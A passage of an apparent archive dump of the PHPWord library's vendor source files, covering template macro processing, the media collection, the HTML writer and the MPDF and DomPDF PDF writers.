            '/(<\?xml.*)(<w:p.*>' . $escapedMacroOpeningChars . $blockname . $escapedMacroClosingChars . '<\/w:.*?p>)(.*)(<w:p.*' . $escapedMacroOpeningChars . '\/' . $blockname . $escapedMacroClosingChars . '<\/w:.*?p>)/is',
            $this->tempDocumentMainPart,
            $matches
        );

        if (isset($matches[3])) {
            $this->tempDocumentMainPart = str_replace(
                $matches[2] . $matches[3] . $matches[4],
                $replacement,
                $this->tempDocumentMainPart
            );
        }
    }

    /**
     * Delete a block of text.
     *
     * @param string $blockname
     */
    public function deleteBlock($blockname): void
    {
        $this->replaceBlock($blockname, '');
    }

    /**
     * Automatically Recalculate Fields on Open.
     *
     * @param bool $update
     */
    public function setUpdateFields($update = true): void
    {
        $string = $update ? 'true' : 'false';
        $matches = [];
        if (preg_match('/<w:updateFields w:val=\"(true|false|1|0|on|off)\"\/>/', $this->tempDocumentSettingsPart, $matches)) {
            $this->tempDocumentSettingsPart = str_replace($matches[0], '<w:updateFields w:val="' . $string . '"/>', $this->tempDocumentSettingsPart);
        } else {
            $this->tempDocumentSettingsPart = str_replace('</w:settings>', '<w:updateFields w:val="' . $string . '"/></w:settings>', $this->tempDocumentSettingsPart);
        }
    }

    /**
     * Saves the result document.
     *
     * @return string
     */
    public function save()
    {
        foreach ($this->tempDocumentHeaders as $index => $xml) {
            $this->savePartWithRels($this->getHeaderName($index), $xml);
        }

        $this->savePartWithRels($this->getMainPartName(), $this->tempDocumentMainPart);
        $this->savePartWithRels($this->getSettingsPartName(), $this->tempDocumentSettingsPart);

        foreach ($this->tempDocumentFooters as $index => $xml) {
            $this->savePartWithRels($this->getFooterName($index), $xml);
        }

        $this->zipClass->addFromString($this->getDocumentContentTypesName(), $this->tempDocumentContentTypes);

        // Close zip file
        if (false === $this->zipClass->close()) {
            throw new Exception('Could not close zip file.'); // @codeCoverageIgnore
        }

        return $this->tempDocumentFilename;
    }

    /**
     * @param string $fileName
     * @param string $xml
     */
    protected function savePartWithRels($fileName, $xml): void
    {
        $this->zipClass->addFromString($fileName, $xml);
        if (isset($this->tempDocumentRelations[$fileName])) {
            $relsFileName = $this->getRelationsName($fileName);
            $this->zipClass->addFromString($relsFileName, $this->tempDocumentRelations[$fileName]);
        }
    }

    /**
     * Saves the result document to the user defined file.
     *
     * @since 0.8.0
     *
     * @param string $fileName
     */
    public function saveAs($fileName): void
    {
        $tempFileName = $this->save();

        if (file_exists($fileName)) {
            unlink($fileName);
        }

        /*
         * Note: we do not use `rename` function here, because it loses file ownership data on Windows platform.
         * As a result, user cannot open the file directly getting "Access denied" message.
         *
         * @see https://github.com/PHPOffice/PHPWord/issues/532
         */
        copy($tempFileName, $fileName);
        unlink($tempFileName);
    }

    /**
     * Finds parts of broken macros and sticks them together.
     * Macros, while being edited, could be implicitly broken by some of the word processors.
     *
     * @param string $documentPart The document part in XML representation
     *
     * @return string
     */
    protected function fixBrokenMacros($documentPart)
    {
        $brokenMacroOpeningChars = substr(self::$macroOpeningChars, 0, 1);
        $endMacroOpeningChars = substr(self::$macroOpeningChars, 1);
        $macroClosingChars = self::$macroClosingChars;

        return preg_replace_callback(
            '/\\' . $brokenMacroOpeningChars . '(?:\\' . $endMacroOpeningChars . '|[^{$]*\>\{)[^' . $macroClosingChars . '$]*\}/U',
            function ($match) {
                return strip_tags($match[0]);
            },
            $documentPart
        );
    }

    /**
     * Find and replace macros in the given XML section.
     *
     * @param mixed $search
     * @param mixed $replace
     * @param array<int, string>|string $documentPartXML
     * @param int $limit
     *
     * @return string
     */
    protected function setValueForPart($search, $replace, $documentPartXML, $limit)
    {
        // Note: we can't use the same function for both cases here, because of performance considerations.
        if (self::MAXIMUM_REPLACEMENTS_DEFAULT === $limit) {
            return str_replace($search, $replace, $documentPartXML);
        }
        $regExpEscaper = new RegExp();

        return preg_replace($regExpEscaper->escape($search), $replace, $documentPartXML, $limit);
    }

    /**
     * Find all variables in $documentPartXML.
     *
     * @param string $documentPartXML
     *
     * @return string[]
     */
    protected function getVariablesForPart($documentPartXML)
    {
        $matches = [];
        $escapedMacroOpeningChars = preg_quote(self::$macroOpeningChars);
        $escapedMacroClosingChars = preg_quote(self::$macroClosingChars);

        preg_match_all("/$escapedMacroOpeningChars(.*?)$escapedMacroClosingChars/i", $documentPartXML, $matches);

        return $matches[1];
    }

    /**
     * Get the name of the header file for $index.
     *
     * @param int $index
     *
     * @return string
     */
    protected function getHeaderName($index)
    {
        return sprintf('word/header%d.xml', $index);
    }

    /**
     * Usually, the name of main part document will be 'document.xml'. However, some .docx files (possibly those from Office 365, experienced also on documents from Word Online created from blank templates) have file 'document22.xml' in their zip archive instead of 'document.xml'. This method searches content types file to correctly determine the file name.
     *
     * @return string
     */
    protected function getMainPartName()
    {
        $contentTypes = $this->zipClass->getFromName('[Content_Types].xml');

        $pattern = '~PartName="\/(word\/document.*?\.xml)" ContentType="application\/vnd\.openxmlformats-officedocument\.wordprocessingml\.document\.main\+xml"~';

        $matches = [];
        preg_match($pattern, $contentTypes, $matches);

        return array_key_exists(1, $matches) ? $matches[1] : 'word/document.xml';
    }

    /**
     * The name of the file containing the Settings part.
     *
     * @return string
     */
    protected function getSettingsPartName()
    {
        return 'word/settings.xml';
    }

    /**
     * Get the name of the footer file for $index.
     *
     * @param int $index
     *
     * @return string
     */
    protected function getFooterName($index)
    {
        return sprintf('word/footer%d.xml', $index);
    }

    /**
     * Get the name of the relations file for document part.
     *
     * @param string $documentPartName
     *
     * @return string
     */
    protected function getRelationsName($documentPartName)
    {
        return 'word/_rels/' . pathinfo($documentPartName, PATHINFO_BASENAME) . '.rels';
    }

    protected function getNextRelationsIndex($documentPartName)
    {
        if (isset($this->tempDocumentRelations[$documentPartName])) {
            $candidate = substr_count($this->tempDocumentRelations[$documentPartName], '<Relationship');
            while (strpos($this->tempDocumentRelations[$documentPartName], 'Id="rId' . $candidate . '"') !== false) {
                ++$candidate;
            }

            return $candidate;
        }

        return 1;
    }

    /**
     * @return string
     */
    protected function getDocumentContentTypesName()
    {
        return '[Content_Types].xml';
    }

    /**
     * Find the start position of the nearest table before $offset.
     */
    private function findTableStart(int $offset): int
    {
        $rowStart = strrpos(
            $this->tempDocumentMainPart,
            '<w:tbl ',
            ((strlen($this->tempDocumentMainPart) - $offset) * -1)
        );

        if (!$rowStart) {
            $rowStart = strrpos(
                $this->tempDocumentMainPart,
                '<w:tbl>',
                ((strlen($this->tempDocumentMainPart) - $offset) * -1)
            );
        }
        if (!$rowStart) {
            throw new Exception('Can not find the start position of the table.');
        }

        return $rowStart;
    }

    /**
     * Find the end position of the nearest table row after $offset.
     */
    private function findTableEnd(int $offset): int
    {
        return strpos($this->tempDocumentMainPart, '</w:tbl>', $offset) + 7;
    }

    /**
     * Find the start position of the nearest table row before $offset.
     *
     * @param int $offset
     *
     * @return int
     */
    protected function findRowStart($offset)
    {
        $rowStart = strrpos($this->tempDocumentMainPart, '<w:tr ', ((strlen($this->tempDocumentMainPart) - $offset) * -1));

        if (!$rowStart) {
            $rowStart = strrpos($this->tempDocumentMainPart, '<w:tr>', ((strlen($this->tempDocumentMainPart) - $offset) * -1));
        }
        if (!$rowStart) {
            throw new Exception('Can not find the start position of the row to clone.');
        }

        return $rowStart;
    }

    /**
     * Find the end position of the nearest table row after $offset.
     *
     * @param int $offset
     *
     * @return int
     */
    protected function findRowEnd($offset)
    {
        return strpos($this->tempDocumentMainPart, '</w:tr>', $offset) + 7;
    }

    /**
     * Get a slice of a string.
     *
     * @param int $startPosition
     * @param int $endPosition
     *
     * @return string
     */
    protected function getSlice($startPosition, $endPosition = 0)
    {
        if (!$endPosition) {
            $endPosition = strlen($this->tempDocumentMainPart);
        }

        return substr($this->tempDocumentMainPart, $startPosition, ($endPosition - $startPosition));
    }

    /**
     * Replaces variable names in cloned
     * rows/blocks with indexed names.
     *
     * @param int $count
     * @param string $xmlBlock
     *
     * @return string
     */
    protected function indexClonedVariables($count, $xmlBlock)
    {
        $results = [];
        $escapedMacroOpeningChars = preg_quote(self::$macroOpeningChars);
        $escapedMacroClosingChars = preg_quote(self::$macroClosingChars);

        for ($i = 1; $i <= $count; ++$i) {
            $results[] = preg_replace("/$escapedMacroOpeningChars([^:]*?)(:.*?)?$escapedMacroClosingChars/", self::$macroOpeningChars . '\1#' . $i . '\2' . self::$macroClosingChars, $xmlBlock);
        }

        return $results;
    }

    /**
     * Replace carriage returns with xml.
     */
    public function replaceCarriageReturns(string $string): string
    {
        return str_replace(["\r\n", "\r", "\n"], '</w:t><w:br/><w:t>', $string);
    }

    /**
     * Replaces variables with values from array, array keys are the variable names.
     *
     * @param array $variableReplacements
     * @param string $xmlBlock
     *
     * @return string[]
     */
    protected function replaceClonedVariables($variableReplacements, $xmlBlock)
    {
        $results = [];
        foreach ($variableReplacements as $replacementArray) {
            $localXmlBlock = $xmlBlock;
            foreach ($replacementArray as $search => $replacement) {
                $localXmlBlock = $this->setValueForPart(self::ensureMacroCompleted($search), $replacement, $localXmlBlock, self::MAXIMUM_REPLACEMENTS_DEFAULT);
            }
            $results[] = $localXmlBlock;
        }

        return $results;
    }

    /**
     * Replace an XML block surrounding a macro with a new block.
     *
     * @param string $macro Name of macro
     * @param string $block New block content
     * @param string $blockType XML tag type of block
     *
     * @return \PhpOffice\PhpWord\TemplateProcessor Fluent interface
     */
    public function replaceXmlBlock($macro, $block, $blockType = 'w:p')
    {
        $where = $this->findContainingXmlBlockForMacro($macro, $blockType);
        if (is_array($where)) {
            $this->tempDocumentMainPart = $this->getSlice(0, $where['start']) . $block . $this->getSlice($where['end']);
        }

        return $this;
    }

    /**
     * Find start and end of XML block containing the given macro
     * e.g. <w:p>...${macro}...</w:p>.
     *
     * Note that only the first instance of the macro will be found
     *
     * @param string $macro Name of macro
     * @param string $blockType XML tag for block
     *
     * @return bool|int[] FALSE if not found, otherwise array with start and end
     */
    protected function findContainingXmlBlockForMacro($macro, $blockType = 'w:p')
    {
        $macroPos = $this->findMacro($macro);
        if (0 > $macroPos) {
            return false;
        }
        $start = $this->findXmlBlockStart($macroPos, $blockType);
        if (0 > $start) {
            return false;
        }
        $end = $this->findXmlBlockEnd($start, $blockType);
        //if not found or if resulting string does not contain the macro we are searching for
        if (0 > $end || strstr($this->getSlice($start, $end), $macro) === false) {
            return false;
        }

        return ['start' => $start, 'end' => $end];
    }

    /**
     * Find the position of (the start of) a macro.
     *
     * Returns -1 if not found, otherwise position of opening $
     *
     * Note that only the first instance of the macro will be found
     *
     * @param string $search Macro name
     * @param int $offset Offset from which to start searching
     *
     * @return int -1 if macro not found
     */
    protected function findMacro($search, $offset = 0)
    {
        $search = static::ensureMacroCompleted($search);
        $pos = strpos($this->tempDocumentMainPart, $search, $offset);

        return ($pos === false) ? -1 : $pos;
    }

    /**
     * Find the start position of the nearest XML block start before $offset.
     *
     * @param int $offset    Search position
     * @param string  $blockType XML Block tag
     *
     * @return int -1 if block start not found
     */
    protected function findXmlBlockStart($offset, $blockType)
    {
        $reverseOffset = (strlen($this->tempDocumentMainPart) - $offset) * -1;
        // first try XML tag with attributes
        $blockStart = strrpos($this->tempDocumentMainPart, '<' . $blockType . ' ', $reverseOffset);
        // if not found, or if found but contains the XML tag without attribute
        if (false === $blockStart || strrpos($this->getSlice($blockStart, $offset), '<' . $blockType . '>')) {
            // also try XML tag without attributes
            $blockStart = strrpos($this->tempDocumentMainPart, '<' . $blockType . '>', $reverseOffset);
        }

        return ($blockStart === false) ? -1 : $blockStart;
    }

    /**
     * Find the nearest block end position after $offset.
     *
     * @param int $offset    Search position
     * @param string  $blockType XML Block tag
     *
     * @return int -1 if block end not found
     */
    protected function findXmlBlockEnd($offset, $blockType)
    {
        $blockEndStart = strpos($this->tempDocumentMainPart, '</' . $blockType . '>', $offset);
        // return position of end of tag if found, otherwise -1

        return ($blockEndStart === false) ? -1 : $blockEndStart + 3 + strlen($blockType);
    }

    /**
     * Splits a w:r/w:t into a list of w:r where each ${macro} is in a separate w:r.
     *
     * @param string $text
     *
     * @return string
     */
    protected function splitTextIntoTexts($text)
    {
        if (!$this->textNeedsSplitting($text)) {
            return $text;
        }
        $matches = [];
        if (preg_match('/(<w:rPr.*<\/w:rPr>)/i', $text, $matches)) {
            $extractedStyle = $matches[0];
        } else {
            $extractedStyle = '';
        }

        $unformattedText = preg_replace('/>\s+</', '><', $text);
        $result = str_replace([self::$macroOpeningChars, self::$macroClosingChars], ['</w:t></w:r><w:r>' . $extractedStyle . '<w:t xml:space="preserve">' . self::$macroOpeningChars, self::$macroClosingChars . '</w:t></w:r><w:r>' . $extractedStyle . '<w:t xml:space="preserve">'], $unformattedText);

        return str_replace(['<w:r>' . $extractedStyle . '<w:t xml:space="preserve"></w:t></w:r>', '<w:r><w:t xml:space="preserve"></w:t></w:r>', '<w:t>'], ['', '', '<w:t xml:space="preserve">'], $result);
    }

    /**
     * Returns true if string contains a macro that is not in it's own w:r.
     *
     * @param string $text
     *
     * @return bool
     */
    protected function textNeedsSplitting($text)
    {
        $escapedMacroOpeningChars = preg_quote(self::$macroOpeningChars);
        $escapedMacroClosingChars = preg_quote(self::$macroClosingChars);

        return 1 === preg_match('/[^>]' . $escapedMacroOpeningChars . '|' . $escapedMacroClosingChars . '[^<]/i', $text);
    }

    public function setMacroOpeningChars(string $macroOpeningChars): void
    {
        self::$macroOpeningChars = $macroOpeningChars;
    }

    public function setMacroClosingChars(string $macroClosingChars): void
    {
        self::$macroClosingChars = $macroClosingChars;
    }

    public function setMacroChars(string $macroOpeningChars, string $macroClosingChars): void
    {
        self::$macroOpeningChars = $macroOpeningChars;
        self::$macroClosingChars = $macroClosingChars;
    }

    public function getTempDocumentFilename(): string
    {
        return $this->tempDocumentFilename;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Media.php000066600000013676151150442730015414 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord;

use PhpOffice\PhpWord\Element\Image;
use PhpOffice\PhpWord\Exception\Exception;

/**
 * Media collection.
 */
class Media
{
    /**
     * Media elements.
     *
     * @var array
     */
    private static $elements = [];

    /**
     * Add new media element.
     *
     * @since 0.10.0
     * @since 0.9.2
     *
     * @param string $container section|headerx|footerx|footnote|endnote
     * @param string $mediaType image|object|link
     * @param string $source
     *
     * @return int
     */
    public static function addElement($container, $mediaType, $source, ?Image $image = null)
    {
        // Assign unique media Id and initiate media container if none exists
        $mediaId = md5($container . $source);
        if (!isset(self::$elements[$container])) {
            self::$elements[$container] = [];
        }

        // Add media if not exists or point to existing media
        if (!isset(self::$elements[$container][$mediaId])) {
            $mediaCount = self::countElements($container);
            $mediaTypeCount = self::countElements($container, $mediaType);
            ++$mediaTypeCount;
            $rId = ++$mediaCount;
            $target = null;
            $mediaData = ['mediaIndex' => $mediaTypeCount];

            switch ($mediaType) {
                // Images
                case 'image':
                    if (null === $image) {
                        throw new Exception('Image object not assigned.');
                    }
                    $isMemImage = $image->isMemImage();
                    $extension = $image->getImageExtension();
                    $mediaData['imageExtension'] = $extension;
                    $mediaData['imageType'] = $image->getImageType();
                    if ($isMemImage) {
                        $mediaData['isMemImage'] = true;
                        $mediaData['imageString'] = $image->getImageString();
                    }
                    $target = "{$container}_image{$mediaTypeCount}.{$extension}";
                    $image->setTarget($target);
                    $image->setMediaIndex($mediaTypeCount);

                    break;
                    // Objects
                case 'object':
                    $target = "{$container}_oleObject{$mediaTypeCount}.bin";

                    break;
                    // Links
                case 'link':
                    $target = $source;

                    break;
            }

            $mediaData['source'] = $source;
            $mediaData['target'] = $target;
            $mediaData['type'] = $mediaType;
            $mediaData['rID'] = $rId;
            self::$elements[$container][$mediaId] = $mediaData;

            return $rId;
        }

        $mediaData = self::$elements[$container][$mediaId];
        if (null !== $image) {
            $image->setTarget($mediaData['target']);
            $image->setMediaIndex($mediaData['mediaIndex']);
        }

        return $mediaData['rID'];
    }

    /**
     * Get media elements count.
     *
     * @param string $container section|headerx|footerx|footnote|endnote
     * @param string $mediaType image|object|link
     *
     * @return int
     *
     * @since 0.10.0
     */
    public static function countElements($container, $mediaType = null)
    {
        $mediaCount = 0;

        if (isset(self::$elements[$container])) {
            foreach (self::$elements[$container] as $mediaData) {
                if (null !== $mediaType) {
                    if ($mediaType == $mediaData['type']) {
                        ++$mediaCount;
                    }
                } else {
                    ++$mediaCount;
                }
            }
        }

        return $mediaCount;
    }

    /**
     * Get media elements.
     *
     * @param string $container section|headerx|footerx|footnote|endnote
     * @param string $type image|object|link
     *
     * @return array
     *
     * @since 0.10.0
     */
    public static function getElements($container, $type = null)
    {
        $elements = [];

        // If header/footer, search for headerx and footerx where x is number
        if ($container == 'header' || $container == 'footer') {
            foreach (self::$elements as $key => $val) {
                if (substr($key, 0, 6) == $container) {
                    $elements[$key] = $val;
                }
            }

            return $elements;
        }

        if (!isset(self::$elements[$container])) {
            return $elements;
        }

        return self::getElementsByType($container, $type);
    }

    /**
     * Get elements by media type.
     *
     * @param string $container section|footnote|endnote
     * @param string $type image|object|link
     *
     * @return array
     *
     * @since 0.11.0 Splitted from `getElements` to reduce complexity
     */
    private static function getElementsByType($container, $type = null)
    {
        $elements = [];

        foreach (self::$elements[$container] as $key => $data) {
            if ($type !== null) {
                if ($type == $data['type']) {
                    $elements[$key] = $data;
                }
            } else {
                $elements[$key] = $data;
            }
        }

        return $elements;
    }

    /**
     * Reset media elements.
     */
    public static function resetElements(): void
    {
        self::$elements = [];
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML.php000066600000013077151150442730016410 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer;

use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\Validate;
use PhpOffice\PhpWord\Style\Font;

/**
 * HTML writer.
 *
 * Not supported: PreserveText, PageBreak, Object
 *
 * @since 0.10.0
 */
class HTML extends AbstractWriter implements WriterInterface
{
    /**
     * Is the current writer creating PDF?
     *
     * @var bool
     */
    protected $isPdf = false;

    /**
     * Footnotes and endnotes collection.
     *
     * @var array
     */
    protected $notes = [];

    /**
     * Callback for editing generated html.
     *
     * @var null|callable
     */
    private $editCallback;

    /**
     * Default generic name for default font for html.
     *
     * @var string
     */
    private $defaultGenericFont = '';

    /**
     * Default white space style for html.
     *
     * @var string
     */
    private $defaultWhiteSpace = '';

    /**
     * Create new instance.
     */
    public function __construct(?PhpWord $phpWord = null)
    {
        $this->setPhpWord($phpWord);

        $this->parts = ['Head', 'Body'];
        foreach ($this->parts as $partName) {
            $partClass = 'PhpOffice\\PhpWord\\Writer\\HTML\\Part\\' . $partName;
            if (class_exists($partClass)) {
                /** @var \PhpOffice\PhpWord\Writer\HTML\Part\AbstractPart $part Type hint */
                $part = new $partClass();
                $part->setParentWriter($this);
                $this->writerParts[strtolower($partName)] = $part;
            }
        }
    }

    /**
     * Save PhpWord to file.
     */
    public function save(string $filename): void
    {
        $this->writeFile($this->openFile($filename), $this->getContent());
    }

    /**
     * Get content.
     *
     * @return string
     *
     * @since 0.11.0
     */
    public function getContent()
    {
        $content = '';

        $content .= '<!DOCTYPE html>' . PHP_EOL;
        $content .= '<!-- Generated by PHPWord -->' . PHP_EOL;
        $langtext = '';
        $phpWord = $this->getPhpWord();
        $lang = $phpWord->getSettings()->getThemeFontLang();
        if (!empty($lang)) {
            $lang2 = $lang->getLatin();
            if (!$lang2) {
                $lang2 = $lang->getEastAsia();
            }
            if (!$lang2) {
                $lang2 = $lang->getBidirectional();
            }
            if ($lang2) {
                $langtext = " lang='" . $lang2 . "'";
            }
        }
        $content .= "<html$langtext>" . PHP_EOL;
        $content .= $this->getWriterPart('Head')->write();
        $content .= $this->getWriterPart('Body')->write();
        $content .= '</html>' . PHP_EOL;

        // Trigger a callback for editing the entire HTML
        $callback = $this->editCallback;
        if ($callback !== null) {
            $content = $callback($content);
        }

        return $content;
    }

    /**
     * Return the callback to edit the entire HTML.
     */
    public function getEditCallback(): ?callable
    {
        return $this->editCallback;
    }

    /**
     * Set a callback to edit the entire HTML.
     *
     * The callback must accept the HTML as string as first parameter,
     * and it must return the edited HTML as string.
     */
    public function setEditCallback(?callable $callback): self
    {
        $this->editCallback = $callback;

        return $this;
    }

    /**
     * Get is PDF.
     *
     * @return bool
     */
    public function isPdf()
    {
        return $this->isPdf;
    }

    /**
     * Get notes.
     *
     * @return array
     */
    public function getNotes()
    {
        return $this->notes;
    }

    /**
     * Add note.
     *
     * @param int $noteId
     * @param string $noteMark
     */
    public function addNote($noteId, $noteMark): void
    {
        $this->notes[$noteId] = $noteMark;
    }

    /**
     * Get generic name for default font for html.
     */
    public function getDefaultGenericFont(): string
    {
        return $this->defaultGenericFont;
    }

    /**
     * Set generic name for default font for html.
     */
    public function setDefaultGenericFont(string $value): self
    {
        $this->defaultGenericFont = Validate::validateCSSGenericFont($value);

        return $this;
    }

    /**
     * Get default white space style for html.
     */
    public function getDefaultWhiteSpace(): string
    {
        return $this->defaultWhiteSpace;
    }

    /**
     * Set default white space style for html.
     */
    public function setDefaultWhiteSpace(string $value): self
    {
        $this->defaultWhiteSpace = Validate::validateCSSWhiteSpace($value);

        return $this;
    }

    /**
     * Escape string or not depending on setting.
     */
    public function escapeHTML(string $txt): string
    {
        if (Settings::isOutputEscapingEnabled()) {
            return htmlspecialchars($txt, ENT_QUOTES | (defined('ENT_SUBSTITUTE') ? ENT_SUBSTITUTE : 0), 'UTF-8');
        }

        return $txt;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/WriterInterface.php000066600000001470151150442730020733 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer;

/**
 * Writer interface.
 */
interface WriterInterface
{
    /**
     * Save PhpWord to file.
     */
    public function save(string $filename): void;
}
vendor/phpoffice/phpword/src/PhpWord/Writer/PDF/MPDF.php000066600000007622151150442730017002 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PhpWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\PDF;

use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Writer\WriterInterface;

/**
 * MPDF writer.
 *
 * @see  http://www.mpdf1.com/
 * @since 0.11.0
 */
class MPDF extends AbstractRenderer implements WriterInterface
{
    public const SIMULATED_BODY_START = '<!-- simulated body start -->';
    private const BODY_TAG = '<body>';

    /**
     * Overridden to set the correct includefile, only needed for MPDF 5.
     *
     * @codeCoverageIgnore
     */
    public function __construct(PhpWord $phpWord)
    {
        if (file_exists(Settings::getPdfRendererPath() . '/mpdf.php')) {
            // MPDF version 5.* needs this file to be included, later versions not
            $this->includeFile = 'mpdf.php';
        }
        parent::__construct($phpWord);
    }

    /**
     * Gets the implementation of external PDF library that should be used.
     *
     * @return \Mpdf\Mpdf implementation
     */
    protected function createExternalWriterInstance()
    {
        $mPdfClass = $this->getMPdfClassName();

        $options = [];
        if ($this->getFont()) {
            $options['default_font'] = $this->getFont();
        }

        return new $mPdfClass($options);
    }

    /**
     * Save PhpWord to file.
     */
    public function save(string $filename): void
    {
        $fileHandle = parent::prepareForSave($filename);

        //  PDF settings
        $paperSize = strtoupper('A4');
        $orientation = strtoupper('portrait');

        //  Create PDF
        $pdf = $this->createExternalWriterInstance();
        $pdf->_setPageSize($paperSize, $orientation);
        $pdf->addPage($orientation);

        // Write document properties
        $phpWord = $this->getPhpWord();
        $docProps = $phpWord->getDocInfo();
        $pdf->setTitle($docProps->getTitle());
        $pdf->setAuthor($docProps->getCreator());
        $pdf->setSubject($docProps->getSubject());
        $pdf->setKeywords($docProps->getKeywords());
        $pdf->setCreator($docProps->getCreator());

        $html = $this->getContent();
        $bodyLocation = strpos($html, self::SIMULATED_BODY_START);
        if ($bodyLocation === false) {
            $bodyLocation = strpos($html, self::BODY_TAG);
            if ($bodyLocation !== false) {
                $bodyLocation += strlen(self::BODY_TAG);
            }
        }
        // Make sure first data presented to Mpdf includes body tag
        //   (and any htmlpageheader/htmlpagefooter tags)
        //   so that Mpdf doesn't parse it as content. Issue 2432.
        if ($bodyLocation !== false) {
            $pdf->WriteHTML(substr($html, 0, $bodyLocation));
            $html = substr($html, $bodyLocation);
        }
        foreach (explode("\n", $html) as $line) {
            $pdf->WriteHTML("$line\n");
        }

        //  Write to file
        fwrite($fileHandle, $pdf->output($filename, 'S'));

        parent::restoreStateAfterSave($fileHandle);
    }

    /**
     * Return classname of MPDF to instantiate.
     *
     * @codeCoverageIgnore
     *
     * @return string
     */
    private function getMPdfClassName()
    {
        if ($this->includeFile != null) {
            // MPDF version 5.*
            return '\mpdf';
        }

        // MPDF version > 6.*
        return '\Mpdf\Mpdf';
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/PDF/DomPDF.php000066600000003756151150442730017331 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PhpWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\PDF;

use Dompdf\Dompdf as DompdfLib;
use Dompdf\Options;
use PhpOffice\PhpWord\Writer\WriterInterface;

/**
 * DomPDF writer.
 *
 * @see  https://github.com/dompdf/dompdf
 * @since 0.10.0
 */
class DomPDF extends AbstractRenderer implements WriterInterface
{
    /**
     * Name of renderer include file.
     *
     * @var string
     */
    protected $includeFile;

    /**
     * Gets the implementation of external PDF library that should be used.
     *
     * @return Dompdf implementation
     */
    protected function createExternalWriterInstance()
    {
        $options = new Options();
        if ($this->getFont()) {
            $options->set('defaultFont', $this->getFont());
        }

        return new DompdfLib($options);
    }

    /**
     * Save PhpWord to file.
     */
    public function save(string $filename): void
    {
        $fileHandle = parent::prepareForSave($filename);

        //  PDF settings
        $paperSize = 'A4';
        $orientation = 'portrait';

        //  Create PDF
        $pdf = $this->createExternalWriterInstance();
        $pdf->setPaper(strtolower($paperSize), $orientation);
        $pdf->loadHtml(str_replace(PHP_EOL, '', $this->getContent()));
        $pdf->render();

        //  Write to file
        fwrite($fileHandle, $pdf->output());

        parent::restoreStateAfterSave($fileHandle);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/PDF/AbstractRenderer.php000066600000010766151150442730021511 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PhpWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\PDF;

use PhpOffice\PhpWord\Exception\Exception;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Writer\HTML;

/**
 * Abstract PDF renderer.
 *
 * @since 0.10.0
 */
abstract class AbstractRenderer extends HTML
{
    /**
     * Name of renderer include file.
     *
     * @var string
     */
    protected $includeFile;

    /**
     * Temporary storage directory.
     *
     * @var string
     */
    protected $tempDir = '';

    /**
     * Font.
     *
     * @var string
     */
    protected $font;

    /**
     * Paper size.
     *
     * @var int
     */
    protected $paperSize;

    /**
     * Orientation.
     *
     * @var string
     */
    protected $orientation;

    /**
     * Paper Sizes xRef List.
     *
     * @var array
     */
    protected static $paperSizes = [
        9 => 'A4', // (210 mm by 297 mm)
    ];

    /**
     * Create new instance.
     *
     * @param PhpWord $phpWord PhpWord object
     */
    public function __construct(PhpWord $phpWord)
    {
        parent::__construct($phpWord);
        $this->isPdf = true;
        if ($this->includeFile != null) {
